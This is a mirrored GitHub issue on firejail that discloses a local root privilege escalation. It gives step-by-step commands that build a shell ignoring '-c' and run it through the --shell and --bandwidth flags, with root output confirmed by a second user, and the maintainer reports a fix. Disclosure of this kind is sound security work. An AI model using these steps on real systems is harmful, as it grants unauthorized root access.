github-starred/firejail

Fork 0

mirror of https://github.com/netblue30/firejail.git synced 2026-05-15 14:16:14 -06:00

[GH-ISSUE #1023] Root shell via --bandwidth and --shell #698

New issue

Closed

opened 2026-05-05 06:28:21 -06:00 by gitea-mirror · 2 comments

gitea-mirror commented

2026-05-05 06:28:21 -06:00

Owner

Originally created by @mcarpenter on GitHub (Jan 6, 2017).
Original GitHub issue: https://github.com/netblue30/firejail/issues/1023

[Against current HEAD, commit 64355]

In a first window run:

$ firejail --noprofile --name=x --net=eth0

In a second window, firstly create a dumb shell that ignores -c:

$ echo 'int main() {system("/bin/sh");}' | gcc -xc -o dumbshell -

and then secondly invoke that shell via the --shell and --bandwidth flags to obtain root:

$ firejail --shell=./dumbshell --bandwidth=x status
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),125(vboxusers),2000(wiki),10000(martin) context=system_u:system_r:initrc_t:s0

Error occurs at 6435525696/src/firejail/bandwidth.c (L445-L451)

char *arg[4];
arg[0] = cfg.shell;
arg[1] = "-c";
arg[2] = cmd;
arg[3] = NULL;
clearenv();
execvp(arg[0], arg);

I don't see any good reason to permit a user-specified shell to run a bandwidth command.

Originally created by @mcarpenter on GitHub (Jan 6, 2017). Original GitHub issue: https://github.com/netblue30/firejail/issues/1023 [Against current HEAD, commit 64355] In a first window run: $ firejail --noprofile --name=x --net=eth0 In a second window, firstly create a dumb shell that ignores `-c`: $ echo 'int main() {system("/bin/sh");}' | gcc -xc -o dumbshell - and then secondly invoke that shell via the `--shell` and `--bandwidth` flags to obtain root: $ firejail --shell=./dumbshell --bandwidth=x status # id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),125(vboxusers),2000(wiki),10000(martin) context=system_u:system_r:initrc_t:s0 Error occurs at https://github.com/netblue30/firejail/blob/6435525696e8eda2d1bc0ef50488523422b9126d/src/firejail/bandwidth.c#L445-L451 char *arg[4]; arg[0] = cfg.shell; arg[1] = "-c"; arg[2] = cmd; arg[3] = NULL; clearenv(); execvp(arg[0], arg); I don't see any good reason to permit a user-specified shell to run a bandwidth command.

gitea-mirror closed this issue

2026-05-05 06:28:23 -06:00

gitea-mirror commented

2026-05-05 06:28:27 -06:00

Author

Owner

@Fred-Barclay commented on GitHub (Jan 7, 2017):

I can confirm this is "working" in Arch with firejail built from latest source. 😦
$ $ firejail --noprofile --name=x --net=enp6s0

$ echo 'int main() {system("/bin/sh");}' | gcc -xc -o dumbshell -
<stdin>: In function ‘main’:
<stdin>:1:13: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
$ firejail --shell=./dumbshell --bandwidth=x status
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root),10(wheel),1000(fred)
sh-4.4# ls /root
Desktop
sh-4.4# whoami
root
sh-4.4# touch /root/bad_dir
sh-4.4# ls /root
Desktop  bad_dir
sh-4.4#

EDIT: --noprofile isn't actually needed. $ firejail --name=x --net=enp6s0 works just as well.
EDIT:

@Fred-Barclay commented on GitHub (Jan 7, 2017): I can confirm this is "working" in Arch with firejail built from latest source. :frowning: `$ $ firejail --noprofile --name=x --net=enp6s0` ``` $ echo 'int main() {system("/bin/sh");}' | gcc -xc -o dumbshell - <stdin>: In function ‘main’: <stdin>:1:13: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] $ firejail --shell=./dumbshell --bandwidth=x status sh-4.4# id uid=0(root) gid=0(root) groups=0(root),10(wheel),1000(fred) sh-4.4# ls /root Desktop sh-4.4# whoami root sh-4.4# touch /root/bad_dir sh-4.4# ls /root Desktop bad_dir sh-4.4# ``` EDIT: `--noprofile` isn't actually needed. `$ firejail --name=x --net=enp6s0` works just as well. EDIT:

gitea-mirror commented

2026-05-05 06:28:30 -06:00

Author

Owner

@netblue30 commented on GitHub (Jan 7, 2017):

This one was quite stupid, thanks for finding it!

Fix on mainline: 5d43fdcd21

Pushed also a fix on 0.9.44-bugfix branch. Interesting, we don't have this on 0.9.38-LTS branch.

@netblue30 commented on GitHub (Jan 7, 2017): This one was quite stupid, thanks for finding it! Fix on mainline: https://github.com/netblue30/firejail/commit/5d43fdcd215203868d440ffc42036f5f5ffc89fc Pushed also a fix on 0.9.44-bugfix branch. Interesting, we don't have this on 0.9.38-LTS branch.

gitea-mirror referenced this issue

2026-05-05 09:55:47 -06:00

[GH-ISSUE #6703] Missing files when whitelisting /var/log (--writable-var-log) #3344

No milestone

No project

No assignees

1 participant

Notifications

Due date

The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference: github-starred/firejail#698

No description provided.

Rows
Columns